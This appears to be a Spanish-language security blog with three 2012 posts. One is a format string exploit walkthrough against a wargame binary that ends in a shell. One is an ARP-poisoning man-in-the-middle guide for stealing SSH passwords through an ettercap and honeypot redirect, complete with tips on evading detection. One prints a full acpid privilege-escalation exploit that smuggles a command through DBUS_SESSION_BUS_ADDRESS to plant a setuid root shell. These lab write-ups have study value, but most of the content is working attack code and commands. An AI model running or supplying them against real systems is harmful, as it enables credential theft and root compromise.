domingo, 26 de febrero de 2012

Fromat String Overflow, Un poco de ejercicio para no oxidarse


Hola a todos espero que este pequeño ejercicio que les dejo les sirva de entrenamiento, como a mi ya que tenia rato que no hacia algo de esto y había perdido algo de toque.

Lo primero que necesitaremos sera lo siguiente:
  1. Tener cualquier sistema linux disponible, en este caso lo haré en un backtrack instalado.
  2. Desactivar el ASLR de Linux, no pondré como hacerlo con el ASLR, por que aun ando en eso.
  3. Tener los compiladores de GCC.
 
Ahora bien empecemos con un poco de acción, el objetivo de este format string es llegar a obtener la shell de root, veamos como:

#include 
#include 

int main(int argc, char **argv){
        int i = 1;
        char buffer[64];

        snprintf(buffer, sizeof buffer, argv[1]);
        buffer[sizeof (buffer) - 1] = 0;
        printf("Change i's value from 1 -> 500. ");

        if(i==500){
                printf("GOOD\n");
                seteuid(1007);
                system("/bin/sh");
        }

        printf("No way...let me give you a hint!\n");
        printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
        printf ("i = %d (%p)\n", i, &i);
        return 0;
}

Como podemos observar, lo que necesitamos hacer para llegar a la shell de root es cambiar el valor de la variable i e igualarla a 500. No podemos realizar un simple buffer overflow, por que lo que escribamos en argv sera copiado al buffer mediante un snprintf.


Pero usaremos otra técnica, empecemos a ver como:

  • Compilamos nuestra aplicación.
 gcc -o n6 n6.c

  • Cambiamos los permisos de la aplicación para que valga la pena esto.

sudo chown root.root n6 && sudo chmod u+s n6

  • Ahora bien ejecutemos un par de veces el binario que nos ha quedado.

    i = 1 (0xbfefc5a8)
    i = 1 (0xbfdc6f78)
    i = 1 (0xbf91c688)
    i = 1 (0xbf817eb8)
    i = 1 (0xbfbadf08)
    i = 1 (0xbfbdd568)
    i = 1 (0xbf9d6c58)
    i = 1 (0xbf9820e8)
    i = 1 (0xbfa133d8)
    i = 1 (0xbf9c2b98)

  • Ahora bien como podemos ver debido a que el ASLR esta activado, la variable i siempre cambia de posición en memoria y como había mencionado no he hecho aun este ejercicio usando ASLR.
  • Desactivemos el ASLR.
echo 0 > /proc/sys/kernel/randomize_va_space
  • Ahora ejecutemos nuevamente el programa.carlos@bt:~/hack/narnia/tmp$ for i in $(seq 1 3); do ./n6 AAAA; done | grep "i ="
    i = 1 (0xbffff6c8)
    i = 1 (0xbffff6c8)
    i = 1 (0xbffff6c8)
  • Ahora si esta todo bajo control, la memoria de la variable se mantiene tras varias ejecuciones.
  • Ahora investiguemos que sucede en el ejecutable, veamos como abusaremos un poco del código fuente.
    printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
  •   Veamos que sucede cuando ejecutamos de la siguiente manera el binario:  
carlos@bt:~/hack/narnia$ ./n6 %08x.08%x.08%x.08%x.08%x Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [b7fc9ff4.08b7f78d19.08b7ea32a5.08bffff6b8.0863663762] (52) i = 1 (0xbffff6ec)
  • Carajo, ahora estamos debugueando la memoria del programa, pero como funciona esto , debido a que printf, usa como argento la posición en memoria de la cadena que pasamos y como no valida la entrada de impresion, podemos imprimir las posiciones en memoria relacionadas a la entrada.
  •   Pero veamos pongamos una marca como referencia.
  ./n6 AAAA%08x.08%x.08%x.08%x.08%x Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [AAAAb7fc9ff4.08b7f78d19.08b7ea32a5.08bffff6b8.0841414141] (56) i = 1 (0xbffff6ec) 
  •   Uff, ahora bien ya encontramos en que posición de memoria printf esta buscando la cadena, de la siguiente manera AAA es igual a 41414141, según la tabla ascii. http://ascii.cl/es/
  • Pero como podemos llegar a la posición 5 de esta memoria, pues fácilmente usando el operado $, en el printf.
The arguments must correspond properly (after type 
promotion) with the conversion specifier. 
By default, the arguments are  used  in  theorder 
given, where each '*' and each conversion specifier
 asks for the next argument (and it is an error if 
insufficiently many arguments are given). One can 
also specify explicitly which argument is taken, at
 each place where  an  argument  is  required,  by
 writing  "%m$" instead  of  '%'  and "*m$" 
instead of '*', where the decimal integer m denotes
 the position in the argument
 list of the desired argument,

indexed starting from 1.  Thus,

 printf("%*d", width, num);

       and

 printf("%2$*1$d", width, num);
 
  • Veamos como  
 carlos@bt:~/hack/narnia$ ./n6 AAAA%5\$x Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [AAAA41414141] (12) i = 1 (0xbffff6fc)
  •   Ahora bien llegamos a la posición 5 de memoria del printf, que es donde empieza la impresión.
  • Pero bueno la intención es editar la posición de memoria donde se encuentra la variable i (0xbffff6fc).
  • Pues vamos a decirle a printf que lo haga por nosotros solo ya que el primer parámetro de printf, es la posición en memoria donde se encuentra la cada, lo haremos de la siguiente forma, como observamos el primer parametro en la posición en memoria de i y hacemos un dump de su contenido como se ve en “buffer: bffff6fc”.
  • Recuerden hay que invertir los valores de la memoria, por el endia de nuestro procesador i386.
carlos@bt:~/hack/narnia$ ./n6 $(printf "\xfc\xf6\xff\xbf")%5\$x
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [����bffff6fc] (12)
i = 1 (0xbffff6fc)
 
  • Pero como podemos editar la variable, ya llegamos a ella usando printf pero como podemos editar el valor de i, pues veamos nuevamente que dice el man page de printf.
  • Pues fácilmente usaremos en printf con el “conversion specifier” n, el cual escribe la cantidad de caracteres hasta entonces escritos por printf, veamos que sucede.
    ./n6 $(printf "\xfc\xf6\xff\xbf")%5\$n
    
    Change i's value from 1 -> 500. No way...let me give you a hint!
    
    buffer : [����] (4)
    
    i = 4 (0xbffff6fc)
    
  • Ahora bien que carajos logramos escribir algo en la variable i, como se observa en la parte anterior.
    i = 4 (0xbffff6fc)
  • Pues necesitamos incrementar el valor por lo menos en 496, como 500 – 4 = 496, pero como pues incrementarlo en antes de la escribirlo con el specifier %n, de la siguiente manera %496x%5\$n
  • Veamos ahora que sucede.
carlos@bt:~/hack/narnia$ ./n6 $(printf "\xfc\xf6\xff\xbf")%496x%5\$n

Change i's value from 1 -> 500. GOOD

sh-4.1$ 
  • Con esto editamos el valor de la variable i y entramos el if que nos ejecuta el system, que nos da una shell, espero les sirva este ejercicio como a mi para practicar algo que no hago seguido y se tiende a olvidar.

domingo, 12 de febrero de 2012

Man in the Middle para SSH2.

Hola de Nuevo a todos, o bueno si es que alguien lee este blog ;), ahora les traigo una súper sencilla entrada pero bastante útil, para hacer alguna que otra maldad a algún sysadmin que se encuentre en nuestra red.

Básicamente mostrare de una manera bastante sencilla como obtener la contraseña de una sesión de SSH como lo haremos lo explicare más adelante.

Necesitaremos lo siguiente para este lab:
  • ·        Un equipo Windows como víctima (ip 192.168.45.129.)
  • ·        Un equipo Linux como servidor de ssh (ip 192.168.45.128).
  • ·        Un equipo con Backtrack 5 como atacante o cualquier equipo que tenga instalado ettercap (me fascina esta herramienta ip 192.168.45.130).
Ok empezaremos por mostrar cómo hacer el lab:

  1.  Para empezar a ejecutar kippo necesitamos estar con un usuario que no sea root.

      2.  Una vez que se encuentre corriendo tendremos el puerto 2222 abierto en nuestro sistema, este es el honeypot de kippo.

 
1.             3.  Habilitamos el ip_forwarding en nuestro Linux de la siguiente manera:
echo 1 > /proc/sys/net/ipv4/ip_forward
1.             4.  Editamos el archivo de configuración del ettercap para dejar las siguientes líneas des comentadas, bueno realmente no es obligatorio, pero es bueno dejarlas des comentadas.
vi /etc/etter.conf.
1.             5. Generamos la siguiente línea de iptables, con esta redirigiremos todo el tráfico SSH que estamos capturando a nuestro honeypot.
iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222
1.             6.  Ahora con ettercap empezamos a realizar nuestro ataque hacia estas dos ips.
ettercap -T -M arp /192.168.45.129/ /192.168.45.128/ -i eth3
     7.  Una vez que empezamos a realizar el arp poisoning, en nuestro equipo windows observaremos la ip del servidor, asociada a la mac de nuestra interface eth3.
1.           8.  La Mac 00-0c-29-0a-48-e2 es la que usa la interfaz de mi Linux atacante, como consejo en ettercap, es mejor hacer el poisoning con la opción oneway.
ettercap -T -M arp:oneway /192.168.45.129/ /192.168.45.128/ -i eth3
1.           9.   Esto con el fin si estamos haciendo el ataque sobre el default gw de una red y este cuenta con algún método de detección de envenenamiento de tablas de arp, sea un poco más complicado que nos detecten.
  10. Ahora solo nos falta esperar a que la víctima haga una sesión de ssh sobre el servidor que estamos atacando. 
   11. Cada vez que intente logearse no podrá hacerlo ya que sus credenciales son diferentes en el honeypot, pero es muy común equivocarse de password cuando intentamos acceder por ssh, lo cual complica que consideremos que estamos siendo atacados.
 
 12.  Ahora solo queda observar el log del kippo. 

1.        13. Como podemos observar hemos capturado el usuario y la contraseña de la víctima, después hacer esto, lo más recomendable es parar el ataque lo antes posible para no levantar sospechas, frenamos el arp poisoning y limpiamos las reglas de nat, que hemos puesto.
Iptables –F –t nat
1.        14. Y así es cómo podemos obtener una contraseña hacia algún servidor ssh, solo recuerden que si el servidor no se encuentra en nuestra red, digamos en internet, hay que hacer el arp poisoning sobre el default gw, de la red.

Les dejo un script que les facilitara este trabajo.

viernes, 3 de febrero de 2012

Acpid 1:2.0.10 escalación de privilegios en Ubuntu 11.10

Bueno espero que esta nueva entrada en el blogg les sirva.

Básicamente pues explicare un poco de cómo trabaja esta vulnerabilidad y como explotarla, para esto pues he montado un laboratorio con las siguientes características:

  1. Un kubutu 11.10, sin ninguna actualización de seguridad.
  2. Una cuenta de usuarios normal sin sudo.
  3. Cambiar contraseñas de root y habilitar la entrada por KDE4 (solo para el demo, esto no viene configurado por defecto en Ubuntu).

4. Entrar por escritorio con cuenta de root

Exploit:

PAYLOADEXE="/var/crash/payload"
PAYLOADC="/var/crash/payload.c"

KDEDC="kded4.c"
KDEDEXE="kded4"

TRIGGER="/etc/acpi/powerbtn.sh"

rm -f $PAYLOADEXE $KDEDEXE $KDEDC $PAYLOADC

echo "[+] Setting umask to 0 so we have world writable files."
umask 0


echo "[+] Preparing binary payload."
# we _try_ to get a suid root shell, if not we only get a
# shell for another user
cat > $PAYLOADC <<_EOF
#include
void main(int argc, char **argv)
{
if(!strstr(argv[0],"shell")){
printf("[+] Preparing suid shell.\n");
system("cp /var/crash/payload /var/crash/shell");
setuid(0);
setgid(0);
chown ("/var/crash/shell", 0, 0);
chmod("/var/crash/shell", S_IRWXU | S_IRWXG | S_IRWXO | S_ISUID | S_ISGID);
}else{
execl("/bin/sh", "/bin/sh", "-i", 0);
}
}
_EOF
gcc -w -o $PAYLOADEXE $PAYLOADC

echo "[+] Preparing fake kded4 process."
cat > $KDEDC <<_EOF
#include
void main (){
while(42){
sleep(1);
if( access( "/var/crash/shell" , F_OK ) != -1 ) {
execl("/var/crash/shell", "/var/crash/shell", "-i", 0);
exit(0);
}
}
}
_EOF

gcc -w -o $KDEDEXE $KDEDC
rm -f $KDEDC $PAYLOADC

echo "[+] Exporting DBUS_SESSION_BUS_ADDRESS."
export DBUS_SESSION_BUS_ADDRESS="xxxx & $PAYLOADEXE"

echo "[+] Starting kded4."
echo "[+] Trying to PMS the system."
echo "[+] Waiting for the power button to be pressed."
echo "[+] You'll get a shell on this console."
./$KDEDEXE

rm $KDEDEXE

El siguiente exploit se aprovecha del script /etc/acpi/powerbtn.sh el cual es ejecutado cuando se presiona el botón de apagado de la siguiente manera, debido a que a que la variable DBUS_SESSION_BUS_ADDRESS puede ser controlada por cualquier usuario, esto hace propenso al siguiente código a ejecutar código malicioso.

test "$XUSER" != "" && test -x /usr/bin/qdbus && test -r /proc/$(pidof kded4)/environ && su - $XUSER -c "eval $(echo -n 'export '; cat /proc/$(pidof kded4)/environ |tr '\0' '\n'|grep DBUS_SESSION_BUS_ADDRESS); qdbus org.kde.kded" | grep -q powerdevil) ;

Veamos como:

  1. Debido a que es necesario que solo exista un proceso de kded4, en el sistema y este sea controlado por nosotros, tendremos matarlo del sistema.

a. Para efectos de este lab lo haremos con sudo kill kded4 el que ejecute este exploit en una víctima tiene que buscarse como hacer ;).

b. Creando nuestro proceso KDED es ejecutado el cat /proc/$(pidof kded4)/environ entrara al proceso que genera este exploit.

  1. Una vez haciendo esto el exploit se encarga de generar un ejecutable llamado kded4 y con el PAYLOAD logar hacer que se ejecute de la siguiente manera:
a. El ejecutable de ./payload, genera una Shell con propiedades de SUID 0, claro si esto se ejecuta como root.
b. Copia el ejecutable llamado payload por uno llamado Shell, el cual mediante un strstr decide si ejecutar la Shell, con las propiedades creadas.

3.
Ahora bien cómo funciona esto:

a. Al ejecutar el exploit este exporta la variable DBUS_SESSION_BUS_ADDRESS de la siguiente manera:

DBUS_SESSION_BUS_ADDRESS=xxxx & $PAYLOADEXE

b. Mandara el comando “xxxx” al segundo plano y ejecutara el contenido de $PAYLOAD.

c. Una vez hecho esto, se necesita ejecutar el script /etc/acpi/powerbtn.sh, presionando el botón de apagar en el sistema.

d. Hecho esto debe aparecer una nueva bash con propiedades de suid de root.